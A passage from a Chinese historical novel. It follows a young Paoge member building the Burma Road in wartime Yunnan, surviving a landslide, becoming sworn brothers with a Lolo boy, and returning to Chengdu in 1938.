“还有肛疔,这个什么症状都没有,人会觉得烦躁不安,等到骤冷骤热呕吐昏迷后,□□周围会长莲子般的疹豆子,那也是救不回来的。”
周立行垂着头,平静地听着,看向刘愿平的目光隐约带了些悲伤。
这条路修了六个月了,他已经数不清死去了多少人,甚至工程队中有的岗位,已经换到第六个人来了。
这一次过去了,下一次呢?
周立行为了能好好照顾刘愿平,思前想后,最终决定出钱雇人,把刘愿平带到阿月的寨子里去。
阿月所在的傣寨在附近地区是最大的一个,寨子虽然坐落在山中,外人难以进去,只有进去之后才知道崇山峻岭里还有这样一个类似桃花源一般的地方。
他们除了有竹楼茅草屋,寨子里的殷实人家也有砖木结构的大房子,长老们有草药传承,妇女和儿童们待在安全的地方,男人们英勇能干地去做山上和田地里的活。
如果不是有那时不时会出现的毒瘴和如影随形的疫病,周立行觉得这里和家乡也没有什么区别了。
是的,他开始想家了。
他突然想到了峨眉山顶的云海,令人赞叹的佛光,想到了满山顽劣的猴子,还有温润谦和的镜空师兄。
他还想到了烟雨蒙蒙的柳江镇,青黛色的山映在碧翠色的河里,姨妈背着背篼跨过小石墩子。
他想到了家婆慈祥的脸,给他一针一针缝着棉衣,絮絮叨叨地叹息不知到以后会有什么样的外孙媳妇,手工好不好,能不能每年给他做棉衣。
他想到了离开家乡的时候,姨妈温暖的怀抱,温热的泪水。
他想到了第一次见王喜雀的时候,她在阳光下走来……
月亮圆如银盘,凤尾竹轻轻摇曳,一切静谧且美好。
阿月从背后伸手拍了一
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下周立行,“阿哥?发甚呆?”
周立行好久没被人从背后拍,悚然一惊,差点还手,幸好想起来这是在哪,浑身蓄上的劲总算是没有用出去。
“想家……”周立行老实地回答。
阿月的头左歪歪,右歪歪,圆溜溜的大眼睛眯起来,“想你的婆娘?”
周立行笑了笑,“我还没娶老婆呢。”
阿月点点头,满脸红晕,“那你在咱们这娶一个呗,咱们傣家的哨哆哩像月亮一样美,又心疼阿哥得很。”
周立行摇头拒绝,“不,我有喜欢的人了……”
阿月继续点头,“那为啥没娶呢?她不喜欢你?”
这话说的周立行有点狼狈,他根本没向王喜雀诉过衷肠,“她还不知道我喜欢她呢……”
“哦,暗恋,还不敢开口呢。”阿月再次点头,“不怕被别人抢走呀?”
早就被强抢了……周立行闭嘴不吭声了。
阿月这妹妹漂亮单纯又能干,就是说话太直白,太会戳人痛处了。
虽然周立行不吭声,但阿月不打算放过这个俊秀的外地阿哥。
她可是看了好久,才看上这么个身手矫健、脾气稳重、相貌好看的阿哥呢!结果竟然没机会了……她也不是非要这个不可,毕竟爱情是双方的事情,此刻她就是纯属好奇了。
“不会已经被抢了吧?”阿月观察了下周立行的表情,笃定地叹息道,“诶呀,还真的被抢了。”
想了想,阿月觉得自己这样不好,于是干脆鼓励一下,“不去抢回来?”
周立行颇为震惊,“抢?!”
阿月点头,少女那天然略带婴儿肥的白嫩脸蛋上满是坚定,“对啊,抢婚啊。只要你俩是看对眼的,男人就应该去抢自己的爱人。”
周立行想过黑老鸹提的私奔,还真没想过能抢婚,他摇头,“不行,我们那可不兴这个……”
阿月还想说什么,她的亲阿爹已经在楼下喊人了。
于是阿月交待了一声“刘先生醒了,你去看看吧”,便端着药罐子,赤脚踩着竹楼吱呀吱呀地离开了。
周立行转身进屋,见刘愿平已经醒了,正促狭地笑着。
“这小姑娘太有意思了,明明是看上了你,还鼓励你去抢婚呢……好贤惠哦!不如你就娶这个吧……”
周立行脸一黑,“人家阿月那么辛苦把你救回来,你这狗嘴能不能放尊重点!”
刘愿平猝不及防被骂,满脸茫然,“啊?我怎么不尊重了……”
“姑娘家的婚事,是你这个外人该评论的吗?!”
周立行不依不饶,“贤惠,什么贤惠?你的意思是让我娶她当大,还能抢喜雀姐当小?”
“还说你是读过西式教育的,看看,你这都是些什么糟粕思想!是玉翠姐贤惠,还是你想纳小老婆?”
“我回去就跟玉翠姐说,看她怎么收拾你!要不你贤惠点,我给玉翠姐找个小老公?!”
刘愿平被喷了个狗血淋头,直接晕头转向,听周立行说来自己好像是犯了很严重的思想问题,可他明明只是开个玩笑。
无奈的刘愿平只能赶紧道歉,“对不起,我错了,我以后再也不乱说话了。我这辈子只有玉翠一个爱人,你可别害我……”
周立行白了刘愿平一眼,见他认错,这才作罢。
刘愿平这一场病很是严重,昏迷了整整五天,但幸好有周立行和阿月两人无微不至地全程照顾,眼下虽然整个人都瘦成了皮包骨,但好歹是把命救回来了。
然而刘愿平放不下心,在寨子里待的几天总是忧心忡忡,心急火燎地想要归队继续筑路。
而阿月也从这段时间的相处中,彻底看明白了周立行在情感上就是个木头呆子,一心一意地爱恋着心尖尖上的人。
于是阿月没有再贴上去纠缠,她贴心负责地为刘愿平做药膳调理身体,约莫十来天,刘愿平已经大体恢复精气神后,便笑意盈盈地送刘愿平和周立行离开。
那一天,朝霞明媚,阿月头上的石斛花垂到耳边,娇俏可爱,背后的寨子隐没在赤红的霞光中,仿佛火焰在燃烧。
“刘先生,周阿哥,告别了啊!”阿月挥着手,浑身洒满霞光。
周立行挥手向阿月告别,却突然心头一跳,巨大的悲伤涌上心头。
他也不知道为什么,突然就有一股强烈的冲动,他向阿月大声喊道:
“要是听到枪炮声,就像修公路炸山的那种炮声,一定要快快跑,跑远点躲起来……”
他自己也不知道为什么要这样说,可他就这么说出口了,急切,焦躁,且悲伤。
而阿月嘻嘻地笑起来,“晓得的,怕碎石头打到我呢,我晓得!阿哥,去吧,去把你心爱的阿妹……心爱的阿姐抢到手哦!”
44.云南
修路的进度比起走路来,自然是缓慢的。
阔别十几日,刘愿平和周立行沿着修好的道路,只走了两三天,便追上了前面的队伍。
他们到的那天晚上,正好是筑路工队约好的赛歌日。
测路队的先生们,路基工程的汉族汉子们,路面工程的各族男人们,还有敲石碎石的各族女人们,大家在如水如银的月光下,在围起的火堆旁,赛起了歌。
其实前一日,突发是山洪毁掉了他们刚修好的路,又有一些同伴被冲走,死去。
有人说,不唱了吧,这条路全是伤心事。
更多的人说,唱!必须唱!下刀子要唱!死绝了也要唱!
灾祸和死亡该来的总会来,饭要吃,觉要睡,歌要唱,舞要跳!
人不知道下一刻会发生什么,但你可以知道这一刻你应该唱什么!
于是,轰轰烈烈的赛歌拉开了,周立行和刘愿平一回来,便被拉进了测路队这边,大伙儿铆足了劲地准备歌曲,谁也不愿意扯后腿。
测路队的人来自天南海北,他们都是受过良好教育的读书人,唱起歌来竟然也十分有力。
他们唱起了“义勇军”,唱着“把我们的血肉,筑成我们新的长城”。
路基队伍那边不甘示弱,他们唱起了“松花江”,唱着“哪年,哪月,才能够回到我那可爱的故乡?哪年,哪月,才能收回我那无尽的宝藏?爹娘啊,爹娘啊,什么时候才能欢聚在一堂……”
滇省的男人们则是唱起了《筑路歌》,这是因焦虑筑路进度焦虑到瞎了一只眼的龙陵县长王锡光所写,他们豪情地唱着:
“修公路哟,大建树哟;凿山坡哟,就坦途哟;造桥梁哟,利济渡哟……龙陵出工日一万,有如蚂蚁搬泰山;蛮烟瘴雨日复日,餐风饮露谁偷闲……不是公路是血路,百万雄工中外赞……”
新歌唱完唱老歌,老歌唱完唱山歌,山歌唱完唱情歌。
“山对山来崖对崖,蜜蜂采花深山里来,蜜蜂本为采花死,梁山伯为祝英台……”
“月亮出来亮汪汪,亮汪汪呀,看见月亮我把阿哥想……”
“你是山中金孔雀,我是路边石头窝……”
云南的人呀,爱喝酒,爱唱歌,爱跳舞,他们热爱生活,他们不畏生死。
周立行被推攘着站出来,他被众人无谓生死的豪情感染,高亢地唱起了曾经学过的船工号子。
“爬高山呐!
闯险滩啊!
过了一关又一关啊!
人生自古谁无死嘛!
敢爱敢恨莫留遗憾呐……”
那一晚的月亮绕着彩云,那一晚的众人没有悲伤。
他们唱完了自己能唱的所有歌,最后的最后,各自的族人用各自的语言唱起了送魂调,为那些逝去的灵魂送上最后的祝福。
而周立行,也双手合十,诵念了往生咒。
他不知道人是否有来生,但他信修路是无上功德,他信这些人下一世会生活在一个吃穿富有的幸福世界,再无饥饿贫穷,再无战乱流离。
*
道路还在往前推进,刘愿平又消瘦了,周立行也摸到自己愈发明显的肋骨。
工程资金缺口越来越大,每一段道路,都是由当地各民族的群众们出工出力,许多民工都得自带干粮、自带工具,甚至没个睡觉的地方,只能简单搭个棚子睡在路边上。
这一段道路进入了以罗倮族为主的区域。
罗倮是这群人对自己的称呼,在他们的语言里,“罗”是虎,“倮”是龙,代表着他们的勇敢和强大。
滇西各地民族众多,风俗各异,但由于云南省委主席龙云是罗倮族的,所以云南的罗倮族整体来说地位较高,并且较为富裕。
前来修路的罗倮族男人们,都是一群一群的,他们穿着的服饰鲜艳,饰品众多。
周立行听他们说话,总感觉很多词语颇为耳熟。
过了几日,他反应过来,会理的阿凉讲的夷语,跟这非常相似。
出于好奇,周立行在得空的时候,向他们的头人送了几瓶酒,聊起来了这件事。
那头人在楚雄的学堂上过几年学,如龙云一般懂汉语,收了酒当即就开了一瓶,和周立行分享起来。
“你说的是大小凉山那边的夷族吧?”
“是的。”
“我们同血同缘,云南的罗倮,四川的夷族,贵州的倮倮,都有共同的祖先。”
“我们云南的罗倮要开朗热情许多,我们不分高低,都是兄弟姐妹;四川的夷人要庄重严肃一些,他们看中血统纯正,分高低贵贱;贵州的倮倮,嗯……据说他们拥有许多祖先的典籍,我一直想去游历一番,看看那些祖先的诗歌……”
头人喝着酒,跟周立行聊了起来,他们交换了名字,周立行称呼对方为沙扎大哥。
喝到微醺的时候,头人仔仔细细地看了周立行一遍,抚掌大笑起来,“我其实看了你好几日了,你啊,跟我们寨子里久诺长得很像。来人,去把久诺带来,他们两人,说不定是上一世的兄弟!”
很快有人带来了久诺,还有一个跟着哥哥来的小孩子,十二岁左右,叫阿涅。
“久诺,是鹰;阿涅,是乌鸦。都是厉害的鸟儿,能翱翔天空!”头人喝得高兴,介绍得兴高采烈。
久诺确实和周立行有七分相似,尤其是此时的周立行晒得黝黑,那小弟阿涅也和周立行有五分的相同,尤其是眉眼,三个人站在一起,出去说是一家人,无人会怀疑。
因得这相貌的缘分,周立行和罗倮族的人们拉进了关系。他时不时地到对方那边聊天喝酒,甚至还被邀请进了寨子。
而周立行则是被阿涅的名字含义触动了心弦。
黑老鸹,也是乌鸦的别称。
刘愿平看得羡慕不已,没想到平时里并不显得善于交际的人,反倒是走到哪儿,都比他受欢迎。
*
汛期不声不响地降临了,大山之中的神灵们开始烦躁,垮山塌路,飞石流洪,严重阻碍了道路的推进。
意外死亡的人开始变多,瘟疫再次开始蔓延。
久诺在修路的时候受了伤,又淋了大雨,发起了疟疾。他病倒没多久,照顾他的阿涅也病倒了。
各种草药方都用了,寨里甚至请了毕摩,依旧不能让他们康复,反倒是其他人也陆陆续续地开始生病。
周立行并不知道这些情况。他只是好几天没看到头人,也没看到久诺和阿涅,问起来才得知生了重病。
周立行赶紧翻出自己仅剩的、堪比两根黄金的两颗奎宁,敢去了寨子。
然而,疟疾发烧来势汹汹,爽朗健壮的久诺已经一命呜呼,只剩阿涅还在高热中昏迷不醒。
周立行毫不犹豫地将奎宁灌给了阿涅,守了这孩子一夜,守到他高热退去,缓缓醒来。
阿涅的父母早亡,他一直和哥哥久诺相依为命,没想到世事无常,一场疾病夺走兄长,留下他一人孤苦伶仃。
周立行在寨子里待了两天,向头人普及了他学到的应对流行疫病的方法,又再次转回了筑路队。
*
天空仿佛漏了一般,一接连着半个月,夜夜都在下雨。
垮塌的地方越来越多,可上级要求尽快推进道路的命令也越来越急。
连续几个雨夜,周立行都不敢睡,他怕突如其来的垮塌,毫无预兆的泥石流。
守夜的他,因听力敏锐,能在大雨中比别人更早听到地下的碎裂声,或是远处的摩擦声,他会在雨夜中隐约看到移动的山坡,几番救过大家的姓名。
也是如此,他越不敢再晚上睡觉。
然而,躲得过晚上,躲不过白天。
白天的他,正在简陋的临时房中睡觉,测路队和民工们去前面工作了,哪知道正好是他们临时房所在的位置,突然坍方了。
多日晚上精神高度紧绷,白日里睡得近乎昏迷的周立行,失去了他引以为傲的反应力。
他在沉沉的梦境里听到了沉闷的撞击声,他的精神已经意识到有灾难发生,可他的身体无法立刻清醒。
就那么一瞬间,他只来得及睁开眼睛,整个人天旋地转,他连人带床一起翻滚着,木板房被挤压成了凌乱的一坨,泥浆和岩石混合着卷涌而来,几个呼吸间,便把木板房推出去老远,然后深深掩埋。
床板和几块房板撑起了一个狭小的空间,周立行被困在了中间,他在撞击中受了一些小伤,身上的痛楚反倒
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是让他变得清醒。
他不知道这是幸运还是不幸,如果在睡梦中直接死去,那将会毫无痛苦。
而现在他清醒着,这个小小的空间里,还存有一些空气。他能感受到泥浆在不断地下陷、渗透、填满他所在的空间,他能清晰地感知到空气在逐渐减少,浑身承受的压力越来越大。
这似乎是一场酷刑,让一个人一分一秒地等待,救援或是死亡。
他深深地呼吸,调整自身的状态,他必须控制自己的身体,不要过于紧张,否则除了耗损越来越多的空气外,毫无帮助。
他凝神屏气,仔细地听着外面的声音,像是一只深入土中洞穴的兔子,努力从一些含混的响动中,猜测外界的状况。他手上摸到一个类似锤子一样的东西,冷硬的,他握着它,往周围敲击,敲到一块石头上,发出沉闷的砰砰声。
这是白天,前面不远就是筑路的队伍,大家会看到这边发生了坍塌。
只要不是前面的路也垮掉了,前面的人也被埋了,那么一定会有人来救援。
哪怕挖出来的人大多数会死掉,工友们还是努力去挖的,哪怕每一天都会有人生病死去,该熬的草药还是会熬的。
周立行的四肢已经被泥浆裹住了,湿冷浸入他的皮肤,黑暗无声的环境让他无法感受时间。
他只知道自己不能睡,也不要叫喊,每隔一会儿,他会持续敲击石头发出声音,尽量给有可能在救他的人发出讯号。
他又一次想到了许多,短短十八年的人生中那些忽略的细节突然变得清晰,仿佛在黑暗之中绽放出光辉。
他想起家婆棺材前草纸燃烧的温暖,想起舅舅放在桌子上的老旧银元……
他想起姨妈使劲的拥抱,想起老主持圆寂之前的话语……
他想起黑老鸹归西之前握着他双手的触感,想起方结义临行之前喝的那一碗酒,摔碎之后空气中弥漫的辛辣味道……
那是他这一生得到过的,失去过的……
他想起王喜雀说的那句话:谁愿意当被关在笼子里的鸟儿呢?
被关在笼子里的鸟,被埋在地底下的人……是不是喜雀姐日日夜夜过的日子,和他现在的感受是一样的呢?
黑暗,窒息,不知会有什么样的未来……
不想死,逃不脱,只能等,等这谁来救……
是啊,这压在自己身上的泥石,和压在喜雀姐身上的身份是一样的。
喜雀姐拼着毁了身体也要喝药,不愿意怀上孩子……并不仅仅是对那男人的厌恶,她应该是想着,有朝一日可以远走高飞才对……
他又想起来,喜雀姐戴上了他送的镯子……那微微笑着的眼神,坦然地宠溺着,十分开心的模样。
所有人都看得出来,他喜爱着她,她会不知道吗?
知道的,她肯定知道的……不然一开始连闺名都不愿意说的大姐姐,怎么会戴上他送的镯子呢……
她知道,她没有避开我,她甚至主动找我做事……
她应该至少是觉得我有用的……
如果我死在了这里,她会伤心吗?
日后她要逃,没有人帮,会被抓回去杀死吗……
死不可怕,可怕的是世间恶人有太多的法子,让人死前遭受太多的痛苦……
不,我不能现在死……
如果……就这样死去……
那还不如……去诉衷肠!
万一,她不嫌我只是个小弟娃呢……
万一,她也能看上我呢……
都是个死啊,不要留遗憾啊……
……
朦胧中,周立行好像看到有个清瘦的声影飘了过来,对方嘎嘎大笑。
“哟?这么早就要不行了?”
“让你多做善事,你是不是偷懒了?”
“哎,老头子都入土了,还得来保佑你哦……”
“不是时候,不是时候……你得好好活着哦!”
周立行咬紧了牙,努力在窒息中呼吸,眼泪落了出来。
黑老鸹……你终于来看我了……
……
“有人吗?”
“看到了!我看到有一只手!”
“哥,别睡,我刨你出来!”
45.云南
眼前一片白茫茫,周立行第一次感受到什么叫刺眼的光亮。
他看不清,也听不清,他感受到新鲜的空气如潮水一般涌来,在低氧环境下强撑清醒的人猛然呼吸到新鲜空气时,会产生醉氧一般的眩晕。
不行……不能晕……
周立行咬着自己的舌尖,他见过太多从地里挖出来的人,晕过去的很难醒来。
一双细瘦的手臂在旁边刨着土,对方大约是怕伤到他,或者对方根本没有什么趁手的工具。
周立行也庆幸自己不是头向下的姿势被埋,他大约是呈斜向上的样子卡在床板和房板中间的,不至于血液被挤压到头部,否则撑不到被救便晕死。
“不急……不要急着拖我出来……”
周立行虚弱地向身边瘦弱的身影说着,他以为自己说的很大声,但实际上只是嘴唇微动,宛若蚊吟。
那瘦弱的身影却听到了,他趴下来,凑在周立行的耳边叽里呱啦说着什么,周立行听不懂,只能把自己的话重复一遍。
“让我缓一缓……不要马上拖我出来……水,喝点水……”
那瘦弱的身影又叽里呱啦一顿,从身上摸出什么东西,塞进了周立行的嘴里。
一股苦味弥漫在舌尖,周立行明白应该是什么药物,他努力地咽下去。
那身影起身,向远处挥舞起手,那边跑过来一群人,大家商量着什么。
有人给周立行喂了少许的水,慢慢地把周围的泥土扒开,让他就那么躺了一会儿。
“兄弟,看得清这是几吗?”
一只手掌伸在周立行眼前,他努力眨着眼,生理性的泪水落下后,终于能看清了。
“是三……”周立行想要起身,浑身都在酸痛,他哆嗦了下,没有爬起来。
“别动,躺着,阿涅给你喂了万应百宝丹,治内脏出血的。我们抬你去安全的地方休息,你不要乱动,想睡就睡,明日只要醒得来,吃得下东西,就没事了!”
周立行望着眼前的罗倮族男子,那是这段路上的领头人沙扎,他点下头的同时,晕了过去。
*
这一场坍塌,只是无数坍塌中寻常的一次。
每一次坍塌、滑坡、泥石流,都会有人被掩埋、被冲走。
每一次都有人死去,有人获救。
然而,道路是不能停下的。
前线有血肉筑成的长城,后方有血肉筑造的道路。
山河破碎风飘絮,无人可避生死劫。
刘愿平在前面路段,他没有被埋,却也没有逃脱厄运。
一块巨大的岩石砸向他,他躲避不急,被砸断了双腿。
毫无挽救的可能,他的双腿被砸成了肉酱,骨头碎裂成几段。
当场他便晕死了过去,一旁的民夫用随身携带的麻绳死死勒住了他两条大腿,在飞石当中冒险把他脱离了那个危险区域。
失血过多,刘愿平长时间陷入昏迷,甚至不知道他差点就和周立行天人永别……或者说,差点兄弟俩一起上黄泉路。
周立行年轻,体质好,在峨眉山生活的经历早就了他扛摔扛压的体质,被埋了两个多小时挖出来,又被罗倮族的一个孩子喂了止内脏出血的药,他竟然扛过了昏迷,第二天下午醒了过来。
只是这回,周立行无法再照顾刘愿平了。
刘愿平没了双腿,为了防止伤口感染,随队的罗倮族草医用烈酒消毒后,再用烧红的铁棍,烫焦刘愿平腿部断裂伤口,撒上烧干净的草木灰,为其做了简单的处理。
受伤的人除了周立行和刘愿平,还有十几个从土里挖出来的或被石头打伤的人。
原本是在路面上负责打碎石头的孩们,被带过来专门照顾伤员们,阿涅也在这些孩子里。
这边发生的意外要报回昆明,当地县里也要马上派送出药品。
周立行挣扎着写了两封信,一封托人带回昆明去找西南运输处的刘玉道,一封托人带给昆明的分堂。
他怕刘愿平失血过多,感染过重,丢了好不容易第二次捡回来的小命。
同时,他也知道,这下,自己和刘愿平都该离开了。
随身的钱财都被泥石流冲走了,周立行只得跟阿涅许诺,等有人从昆明来接他们了,阿涅可以提任何要求。
阿涅很小,他才十二岁,跟周立行当年离家的年纪一样,但他比当初的周立行还要黑,还要瘦,目光也是如出一辙的倔强。
他有一双落单狼崽子的眼睛,他对外界充满了渴望。
“头人说,是你救的我,你原本还想救阿哥的,阿哥命不好,没等到你。你救我,我救你,是报恩,也是缘分。”
“头人说,只要你愿意,我可以跟着你,当你的弟弟。”
“我要去外面看看,我想过跟山里人不一样的生活。”
周立行看向阿涅,一瞬间,好似看到了幼小的自己。
那么,此刻的自己,是什么角色呢?是黑老鸹,还是方结义?
周立行抱住阿涅,拍着他瘦弱的脊背,“我们结拜,我们当亲兄弟!从今往后,你就是我的亲弟弟了!”
头人听周立行这样说,当即站起来,大声冲四周的族人说道:
“请毕摩!看日子!备红鸡公!杀猪羊宰鸡鸭!行善和阿涅要结拜兄弟!”
结拜兄弟,在袍哥组织里是一件极其隆重的事情!在罗倮族中同样是一件极其重要的事情!
按袍哥和罗倮族的规矩,一边摆上汉昭烈帝、关圣真君、阴阳巡查使(即刘备、关羽、张飞)三个灵牌,一边对着神山圣树,他们将香烛、米粮、杀好的牲畜等物摆放上去,周立行和阿涅交换红纸写上的庚帖,上记录生辰八字、至亲家谱。
他们二人割破手掌,将血共同滴到誓约书上,滴进酒碗里。
他们共念誓词,再将誓约书烧与天地见证。
他们分喝混着兄弟二人血液和鸡冠血的酒,歃血为盟,当了今生的血亲兄弟。
至此,周立行有了罗倮族的名字,木伍,意为天空,也指宽广的胸怀。
他也给阿涅一个汉人的名字,周立顺,立字辈,诸事平顺。
*
一辆美式军用吉普车奔驰在尚未完全修建好的滇缅公路上,那陡然折转的拐弯,悬崖中间凿出的险道,颠簸不平的路面,都无让吉普车的速度减缓分毫。
林玉道骨子里是个热爱冒险的人,同时也是一个极重义气的人。
在收信得知堂妹夫受伤截肢,急需救助后,他立即用自己的关系疏通了车辆,购买了与金条同价的盘尼西宁,并带上忠义堂在昆明分堂的两个人和钱财,火速赶往事发地。
一路飞速颠簸,也是开了六七日,才开到刘愿平等人所在的地方。
而刘愿平也是命硬,不仅撑住没死,还醒来了好几次。
见到堂妹夫的那一刻,林玉道鼻尖一酸,差点没哭出来。
形销骨立,躯体不全,那个满脸腼腆满身豪情的书生郎,再也站不起来了。
刘愿平却毫不在意,他在这条公路上见惯了生死,早已做好了准备。
“堂兄莫要悲伤,我给玉翠的遗书都写了好几封了……这次能捡回一条命,已是上苍怜爱。”
刘愿平神色平静,甚至还能开玩笑,“没事,只是断了两条腿,子孙根还在。玉翠要是不嫌弃,我们还能生孩子。”
林玉道听得牙痒痒,上千给了刘愿平一拳,轻轻的,“兄弟,是条汉子。活着就好,起码侄儿不用认后爹。”
刘愿平想笑,寡削的脸庞只有薄薄的皮,笑起来像是在哭。
那边两人苦中作乐,这边周立行问分堂的人要了钱,送给了那头人,并表达了阿涅的想法。
头人抱了抱阿涅,让他跟着周立行去,但一定要记得,这里永远是他的寨子,是他的家。
林玉道带着刘愿平周立行还有阿涅等人,又火速地赶回昆明,三人一起送到医院检查了一番。
他们三人都是满头的虱子浑身的跳蚤,或多或少都感染了一些寄生虫。
刘愿平更是病体残躯全凭意志撑着,实则身体衰竭的厉害,被医生护士迅速拉去住院治疗了。
周立行被中医把脉说了个五脏六腑有损,也被拉去扎针喝汤药。
阿涅则是被灌了好多打虫药,因他汉话说的不多,一急了就冒罗倮族的话,医生
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护士们不是很听得懂,便只管灌药,灌得阿涅见穿白衣服的就躲。
如此住院一个月后,1938年8月,云南宣布公路已初步建成。
这一日,刘愿平在医院中痛哭了一场。
天方夜谭般的一年期限,实则从1937年底正式开始,到如今只用了八个月……
八个月,多少人魂葬路旁,多少人思断他乡……
这一条云南各族男女老少用性命开拓出的血路呀,你可要好好的、长长久久的在着,运输着,为前线同样浴血奋战的战士们送去更多的武器呀!
车莫停,车莫停,且听路工细叮咛,为了咱们抗战胜呀,八方土地葬英魂……
*
1938年9月,周立行和刘愿平回到成都。
从崇山峻岭、险壁峭蜂,慢慢到丘陵池塘,再到平原大地。
周立行和刘愿平的心情也如这路程一般,从难以言喻的悲壮激动,再缓缓沉淀成无法言说的平静。
刘愿平从未有过悲郁之色,他有一颗非常坚定的内心,从不后悔自己做出的任何抉择。
在他看来,上天只是收走了他的双腿,没有收走他的性命,便是对他的馈赠。
他虽然不能行走了,但他可以坐轮椅,可以教书,可以写作,可以绘图,他可以用余生的时间继续做自己热爱的任何事情。
他是为了国家和民族奉献的,他骄傲且自豪。
周立行很是佩服刘愿平,他亲自将刘愿平送回了成都的家中。
刘玉翠早已从堂兄那里得知情况,牵着已经能奔跑的孩子在家门前等待。
见面那一刻,刘玉翠上前抱住了轮椅上的丈夫。
“回来就好……”
孩子脆生生地叫着爸爸,好奇地看着他空荡荡的裤腿。
刘愿平拥抱着妻儿,回答道,“是的,回来了,回来就好……好多人回不来了……”
确实,好多人回不来了。
周立行回堂口报到,却听说几位爷都出去赴宴去了。
他在茶馆坐了一会儿,听茶馆里的人讲了这一年外面发生的事情,其实有一些他在筑路的过程里也听到过,此时再听一遍,心境却不一样了。
听茶馆的人说,刘湘病中派出去的两个集团军,出川之后便被调离建制,打散使用,并未按其他部队配备军饷。
寒冬腊月,四川出去的子弟们还穿着草鞋单衣,吃不饱穿不暖,拿的枪差,子弹也不够。
刘湘心急如焚,已经生病到穿鞋都弯不下腰了,还是把各项工作交给下属,急匆匆乘飞机到汉口,又去南京,却见不到能做主的人。
淞沪会战结束,上海陷落;11月20日,国民政府发表宣言,移驻重庆办公。
刘湘发电翘首以盼,同时请求想把川军两个集团军集拢,他留在南京指挥,保卫南京。
然而,蒋中正不出面不见人,刘湘在南京急的吐血。
11月28日,刘湘吐血复发,被转院到汉口万国医院治疗。
12月13日,南京陷落,一个半月的大屠杀,导致三十万同胞被害,三分之一建筑被烧毁。
国都被屠,被杀国人的尸体堵住了扬子江……
南京……南京……
为什么滇西修路日夜不停,因为战场上逝去的生命日夜不停……
为什么各族人民前仆后继用血肉筑路,因为前方的民众和士兵在用血肉筑起抵抗的墙……
可是血色的山河啊,处处是冤魂的哀鸣……
……
风尘满身、疲倦满怀的周立行站在王喜雀住所的门口,修长但粗糙的手指叩响了朱漆的门板,那门板不再鲜亮,有着一些划痕。
开门的是孙婆子,她似乎第一眼没把周立行认出来,满脸的褶子都写着警戒和不耐烦,就差没有吐口水到来人身上了。
“喜雀姐在家吗?我回来了。”
周立行的声音也变得愈发低沉,他已经有一个成年男人该有的一切,如更宽的肩膀,更豁达的心态。
这下孙婆子认了出来,她竟喜极而泣,“行善,哎是行善兄弟回来了……太太,是小八爷行善回来了!”
46.回家
院子里传来板凳倒地的声音,一阵急促的小跑后,王喜雀喘着气跑了出来。
她站在大门里,迎着夕阳的金色的微光,眼眸中闪动着浓烈的惊喜,以及心疼。
“弟娃……你咋瘦成这样了……”王喜雀鼻头一酸。
她眼前的弟娃不再是故作成熟的稚嫩少年,没有了往日浅蜜色且精神气十足的脸庞,现在站在她眼前的,是一个被烈日炙烤、被风雨侵蚀、被命运磋磨过…但仍旧不服输的男人了。
他很累了,但他的骨头是硬的,他的腰直挺挺的,浑身披着夕阳的金光,眼里燃烧着不灭的火焰。
“喜雀姐,我活着回来了。”
周立行上前一步,走入门内,使劲地抱住了王喜雀。
王喜雀被纳入了一个炙热的怀抱,如果一只迷茫的飞蛾突然被山中的大火卷入,她仿佛感受到自己的灵魂被点燃了一般,世间的一切都被焚烧。
“哎哟喂快进去进去!”
孙婆子吓了一大跳,赶紧连拉带拽连推带攘把两人往里面弄,手忙脚乱地赶紧关上了门。
*
周立行松开王喜雀的时候,王喜雀还懵着,难得呆愣着一直看向周立行。
孙婆子在旁边掺茶倒水,肯铁不成钢地碎碎念。
“看看你们,啊,看看你们,幸好今日家里没得什么人,否则咋办哦……行善兄弟啊,你这样不行,夫人又不是你亲姐姐,哪来这么个虎扑熊抱的……像什么样子……”
王喜雀终于回了神,顿时满脸通红,她使劲咳嗽了一声。
“好了,去给弟娃下碗挂面,看样子他怕是还没吃晚饭。”
周立行确实没吃晚饭,他回堂口简单知会一声自己回来了,没等陈三爷邢五爷他们回堂口,喝了两碗茶便往这边赶。
他想要见王喜雀,突然被埋在地下的时候想要呼吸空气一般,等待如同窒息。
可现在见到了,他突然又开始害怕,从滇西到蓉城,积攒了一路的勇气和执念,似乎只需要一个拥抱就足够了。
他张牙舞爪伸出来的妄念,此刻又忐忐忑忑地缩了回去。
“我听说刘先生的两条腿都被山石砸断了,你呢?遇到过危险吗?是不是很辛苦?”
王喜雀满脸关切之色,就是脸还红着,眉角眼梢都藏不住那丝不好意思。
周立行张了张嘴,一时间大脑一片空白,不由自主地开始竹筒倒豆子。
“愿平腿断了,心志没断,他以后能过好日子的。”
“我被埋在了地下……是个罗倮族的小兄弟救的,我们结拜了,他叫阿涅,汉名叫周立顺。”
“他想看看外面的世界,我带他来了成都,安置在我的院子里。”
“修路很危险,很辛苦,死了很多人。但是大家都不怕,我们知道这条路必须修,不然武器和物资运送不进来,前线会死更多的人……”
周立行讲了许多,他讲了悬崖峭壁上的手工填埋炸药和危险的爆破,讲了怒江奔腾中的架桥,讲沿途各族儿女的歌声,讲了凤尾竹下的月亮,讲了四季如春不败的花朵,也讲了沿途的各种各样的死亡。
他也讲到了自己被埋在地下的窒息,讲到黑老鸹的魂魄来看他,讲到脱险之后的庆幸……
王喜雀听得潸然泪下,泪湿衣襟。
“回来了就好……”王喜雀重复着这句话,“回来了就好……”
她没说的是,她其实做过好几次噩梦,梦到周立行残破地躺在那蜿蜒的公路上,浑身是血,喉咙里吹气般地冒出血泡,还在喊着她的名字。
半夜被惊醒,她都忍不住要去院子里烧一炷香,她不知道该求哪位神佛,求神无用,求佛无能,她知道万事只能求自己……
可她帮不了,她只能干等着,所以这一炷香,她也不知道烧来干啥,只能是做点什么,能稍微心安一些。
她还多次悄悄地去黑老鸹坟前烧纸钱,虽然不知道有没有用,但万一黑老鸹能在地下帮帮忙,让那些小鬼别去勾魂呢……
孙婆子的面很快端了上来,她给挖了好大一坨猪油进面里,打了鸡蛋还加了肉臊子和豌豆尖儿,满满当当一大碗,香飘入鼻。
周立行不客气地接过来,埋头苦吃,孙婆子见他那架势,赶紧又回了厨房。
果不其然,等周立行吃完一碗,脸上露出不太饱的样子,一回头,好家伙,孙婆子直接端了一口锅出来。
然后周立行不负期待地,把一锅面吃完了,肚子圆圆四仰八叉地瘫在了竹椅子上,活像一只吃胀了的大猫。
天已经黑了,王喜雀点了煤油灯放在院子里,周立行没说走,她也没说赶人,两人就那么闲聊着话,孙婆子去收拾了厨房,又颠颠地过来,一副有话要说的样子。
“姑婆,你有事就说。”
周立行吃饱了,心情也好了,一副万事好办的口气。
